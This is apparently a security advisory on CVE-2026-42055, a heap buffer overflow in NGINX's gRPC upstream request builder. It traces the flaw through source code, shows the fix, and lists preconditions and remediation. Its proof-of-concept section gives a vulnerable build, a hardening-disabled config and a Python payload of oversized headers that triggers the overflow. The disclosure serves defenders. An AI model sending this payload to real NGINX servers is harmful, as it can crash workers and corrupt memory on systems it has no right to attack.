gRPC forwarded headers can overflow the upstream HPACK request buffer (CVE-2026-42055)
NGINX gRPC upstream sizing reserved four HPACK length bytes but serialized larger raw header strings with five
CVSS 3.1 base score
HighVector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
Source
ngx_http_process_request_header()
src/http/ngx_http_request.c:1519
Sink
ngx_http_grpc_create_request()
src/http/modules/ngx_http_grpc_module.c:1128
When an HTTP/1.x request reaches a grpc_pass location, NGINX forwards client request headers by default. Before the fix, ngx_http_grpc_create_request() sized each forwarded header name and value with the fixed NGX_HTTP_V2_INT_OCTETS allowance of four HPACK integer bytes, then later serialized the same strings through the variable-length HPACK encoder.
If ignore_invalid_headers off allowed invalid raw-unfriendly header names to be retained, and large_client_header_buffers allowed multi-megabyte header lines, an unauthenticated client could send forwarded header names and values of NGX_HTTP_V2_MAX_FIELD + 1 bytes. For raw HPACK strings at that length, the encoder emits a five-byte length prefix while the allocation budget reserved four. The final request buffer was therefore undersized, and the continuation-frame insertion path could write beyond b->end.
F5 published the issue as CVE-2026-42055 in advisory K000161584, CWE-122, with CVSS 3.1 score 8.1. The public NGINX 1.31.2 changelog describes worker heap memory corruption or segmentation fault when ignore_invalid_headers off and large large_client_header_buffers are used while proxying a crafted request to an HTTP/2 or gRPC backend. NGINX fixed both affected upstream builders in commit 26d824e, merged through PR #1474, and credited Mufeed VH of Winfunc Research.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- High
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
http/ ngx_http_request.c:1519 ngx_http_process_request_header()
- Step 01src/
http/ ngx_http_parse.c:953 The HTTP/1.x parser can mark unusual header-name bytes as invalid without immediately rejecting the header line. Bytes such as
~are useful for this proof because they also force raw HPACK encoding instead of a shorter Huffman representation.cpp r->invalid_header = 1; break; - Step 02src/
http/ ngx_http_request.c:1489-1519 Invalid headers are skipped only when
ignore_invalid_headersis enabled. Withignore_invalid_headers off, NGINX keeps the attacker-controlled header name and value lengths inr->headers_in.headers.cpp if (r->invalid_header && cscf->ignore_invalid_headers) { /* skip invalid headers */ continue; } h->key.len = r->header_name_end - r->header_name_start; h->key.data = r->header_name_start; h->value.len = r->header_end - r->header_start; h->value.data = r->header_start; - Step 03src/
http/ modules/ ngx_http_grpc_module.c:4432 The gRPC upstream configuration passes client request headers by default, so accepted client headers flow into the upstream HTTP/2/gRPC request builder unless explicitly filtered.
cpp ngx_conf_merge_value(conf->upstream.pass_request_headers, prev->upstream.pass_request_headers, 1); - Step 04src/
http/ modules/ ngx_http_grpc_module.c:843-846 (before fix) The vulnerable sizing pass used a fixed four-octet HPACK integer budget for each forwarded header name and value. That budget is only sound while the HPACK string length is at most
NGX_HTTP_V2_MAX_FIELD.cpp len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len + NGX_HTTP_V2_INT_OCTETS + header[i].value.len; - Step 05src/
http/ v2/ ngx_http_v2.h:23-25 NGX_HTTP_V2_MAX_FIELDis derived from the four-octet HPACK integer allowance. A raw string of 2,097,279 bytes is one byte over that boundary and requires an additional continuation byte.cpp #define NGX_HTTP_V2_INT_OCTETS 4 #define NGX_HTTP_V2_MAX_FIELD \ (127 + (1 << (NGX_HTTP_V2_INT_OCTETS - 1) * 7) - 1) - Step 06src/
http/ modules/ ngx_http_grpc_module.c:1084-1087 (before fix) Serialization used the real HPACK string encoder for the same forwarded name and value.
ngx_http_v2_write_int()writes as many continuation bytes as the value requires, so the write can exceed the earlier fixed budget.cpp b->last = ngx_http_v2_write_name(b->last, header[i].key.data, header[i].key.len, tmp); b->last = ngx_http_v2_write_value(b->last, header[i].value.data, header[i].value.len, tmp); - Step 07src/
http/ modules/ ngx_http_grpc_module.c:843-866 (fix, commit 26d824e) The upstream fix rejects forwarded header names and values above
NGX_HTTP_V2_MAX_FIELDbefore adding them to the buffer length, restoring the invariant that four reserved HPACK integer octets are enough.cpp if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header name: \"%V\"", &header[i].key); return NGX_ERROR; } if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header value: \"%V: %V\"", &header[i].key, &header[i].value); return NGX_ERROR; } len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len + NGX_HTTP_V2_INT_OCTETS + header[i].value.len; - Sinksrc/
http/ modules/ ngx_http_grpc_module.c:1128 ngx_http_grpc_create_request()
Impact
Reported impact
The demonstrated impact is a remote, unauthenticated heap out-of-bounds write in an NGINX worker process under restrictive non-default configuration. The ASAN proof aborts the worker in ngx_http_grpc_create_request(), confirming availability impact and heap memory corruption. The public CVE record states that code execution is possible when ASLR is disabled or bypassed; this entry does not claim a completed production code-execution exploit.
Attack surface
NGINX Open Source and NGINX Plus deployments with a reachable grpc_pass location. The public CVE record lists affected Open Source ranges as 1.13.10 before 1.31.2 on mainline and 1.30.2 before 1.30.3 on stable, with NGINX Plus R36 and R37 patch ranges also affected.
Preconditions
The location must use grpc_pass; request-header forwarding must remain enabled; ignore_invalid_headers off must allow invalid raw header names to be retained; and large_client_header_buffers must allow header lines larger than 2 MiB. Default NGINX settings block this exact trigger because invalid headers are ignored and large header buffers are much smaller.
Attack path
- 1
Send an HTTP/1.x request to a vulnerable
grpc_passlocation. - 2
Include forwarded headers whose names and values are
NGX_HTTP_V2_MAX_FIELD + 1raw-unfriendly bytes such as~. - 3
ignore_invalid_headers offkeeps the invalid header names instead of skipping them. - 4
The gRPC request builder allocates an upstream request buffer using four HPACK integer bytes for each name and value length.
- 5
The real HPACK encoder emits five length bytes for each oversized raw name and value, and continuation-frame insertion writes beyond the allocated buffer.
Proof of concept
- 01
Environment setup
Build a vulnerable NGINX revision before commit
26d824e, such ase8053c867f9ab14f323e3019ccab585d857abb66, with ASAN and HTTP/2 support:bash ./auto/configure --with-http_v2_module --with-debug \ --with-cc-opt='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \ --with-ld-opt='-fsanitize=address' make -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || sysctl -n hw.ncpu)" - 02
Target configuration
Run a disposable localhost-only server with invalid headers retained and very large header buffers:
nginx worker_processes 1; master_process off; daemon off; error_log stderr debug; events { worker_connections 1024; } http { access_log off; ignore_invalid_headers off; large_client_header_buffers 8 5m; server { listen 127.0.0.1:<front_port>; location / { grpc_set_header Host ""; grpc_pass grpc://127.0.0.1:<unused_loopback_port>; } } } - 03
Exploit delivery
Send a request containing two forwarded headers where both the name and value are 2,097,279
~bytes:python payload = bytearray(b"GET /x HTTP/1.1\r\nHost: localhost\r\n") for _ in range(2): payload.extend(b"~" * 2097279) payload.extend(b": ") payload.extend(b"~" * 2097279) payload.extend(b"\r\n") payload.extend(b"Connection: close\r\n\r\n") sock.sendall(payload)The proof model reported
allocated=8393824,final_size=8393825, andoverflow_bytes=1for the corrected trigger. A short-name/value-only control stayed below the allocation. - 04
Expected response
A vulnerable ASAN build aborts in the worker with:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 536 ngx_http_grpc_create_request ngx_http_grpc_module.c:1128 SUMMARY: AddressSanitizer: heap-buffer-overflow ngx_http_grpc_module.c:1128 in ngx_http_grpc_create_request - 05
Outcome
The ASAN report confirms heap memory corruption while constructing the upstream gRPC request. After commit
26d824e, the oversized header name or value is rejected before allocation and serialization, so no worker abort or ASAN heap-buffer-overflow should occur.
Remediation
Guidance
Upgrade NGINX Open Source to 1.31.2+ or 1.30.3+, or apply commit 26d824ec3a2f819300edce0ab3b055751c9843ff. For NGINX Plus, apply the relevant R36/R37 patched release from the F5 advisory. As operational defense in depth, keep ignore_invalid_headers on, keep large_client_header_buffers near the default unless large headers are strictly required, and disable or filter request-header forwarding for gRPC locations that do not need untrusted client headers.
len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len+ NGX_HTTP_V2_INT_OCTETS + header[i].value.len;/* later */b->last = ngx_http_v2_write_name(b->last, header[i].key.data,header[i].key.len, tmp);b->last = ngx_http_v2_write_value(b->last, header[i].value.data,header[i].value.len, tmp);if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header name: \"%V\"", &header[i].key); return NGX_ERROR;} if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) { ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "too long http2 header value: \"%V: %V\"", &header[i].key, &header[i].value); return NGX_ERROR;} len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
